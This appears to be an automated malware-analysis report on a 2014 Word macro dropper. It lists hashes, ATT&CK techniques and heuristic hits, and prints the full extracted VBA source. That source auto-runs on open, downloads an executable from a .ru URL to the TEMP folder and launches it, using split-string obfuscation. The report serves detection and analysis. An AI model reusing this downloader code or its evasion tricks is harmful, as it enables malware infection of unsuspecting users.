Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 75fda9cc7d62d11e…

MALICIOUS

Office (OLE)

42.5 KB Created: 2014-10-01 21:34:00 Authoring application: Microsoft Office Word First seen: 2014-10-14
MD5: 9d2479a0d2c06c61e9c790a0e03e9868 SHA-1: 76f4a3bbb438fffe52eaeceb2df204ddca1ce5f4 SHA-256: 75fda9cc7d62d11e88ddfae10b094af5a46b87a838bbe45954cdb3c27d098b73
354 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1082 System Information Discovery T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

This document contains VBA macros designed to execute automatically upon opening, as indicated by the 'auto_open' and 'workbook_open' subroutines. The macro utilizes CreateObject("msxml2.xmlhttp") to download a payload from the URL http://freeimagehost.ru/ubanner.png. The document body explicitly instructs the user to 'Enable Content', a common social engineering tactic to bypass macro security.

Heuristics 13

  • ClamAV: Doc.Malware.Valyria-10007934-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10007934-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim jhpdcnzxsqz: jhpdcnzxsqz = Shell(ozwqyrvfihv, 1)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set jbvgvpdgeef = CreateObject("msx" + "ml2.xmlh" + "ttp")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set jbvgvpdgeef = CreateObject("msx" + "ml2.xmlh" + "ttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub workbook_open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        glreg = Environ("TEMP")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://freeimagehost.ru/ubanner.png In document text (OLE body)
    • http://office365.comIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5248 bytes
SHA-256: cc143e72546a93faef38356ae8ad51ca6d7584d2b7e245ba6cf466278d647477
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
Sub auto_open()
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
mcnatzuuojp
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
End Sub
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
Sub autoopen()
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    auto_open
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
End Sub
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
Sub workbook_open()
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    auto_open
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
End Sub
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
Function brtxjqnjfkz(ByVal eevjoxhbscg As String, ByVal ozwqyrvfihv As String) As Boolean
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
     Dim jbvgvpdgeef As Object, shmvewhpqva As Long, udtbtswnzcs As Long, jvunhbrymxb() As Byte
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
gkdyhdl = "GKvkf43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Set jbvgvpdgeef = CreateObject("msx" + "ml2.xmlh" + "ttp")
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
qwr54g = "zzsf578"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    jbvgvpdgeef.Open "GET", eevjoxhbscg, False
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    jbvgvpdgeef.send "123dt"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
 
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Do While jbvgvpdgeef.readystate <> 4
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    DoEvents
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Loop
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
 
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    jvunhbrymxb = jbvgvpdgeef.responsebody
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
fg43545 = "f453gdg"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
 
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    udtbtswnzcs = FreeFile
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
gkdyhdl = "GKvkf43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    If Dir(ozwqyrvfihv) <> "" Then Kill ozwqyrvfihv
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
gkdyhdl = "GKvkf43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Open ozwqyrvfihv For Binary As #udtbtswnzcs
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
gkdyhdl = "GKvkf43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Put #udtbtswnzcs, , jvunhbrymxb
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
gkdyhdl = "GKvkf43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Close #udtbtswnzcs
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
gkdyhdl = "GKvkf43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
     
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Dim jhpdcnzxsqz: jhpdcnzxsqz = Shell(ozwqyrvfihv, 1)
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
vx45j = "GsdfKvkfa43t"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
 
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    Set jbvgvpdgeef = Nothing
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    glreg = Environ("TEMP")
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
      
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
End Function
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
Sub mcnatzuuojp()
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
    brtxjqnjfkz "http://freeimagehost.ru/ubanner.png", glreg & "\JGSNUWKJRFC.exe"
'lgzjutpphblestyjjmfoiqkxddptyggjclbdlymnuumeglawuozpkvmoswxghsfjewxczyltuoahaycv
End Sub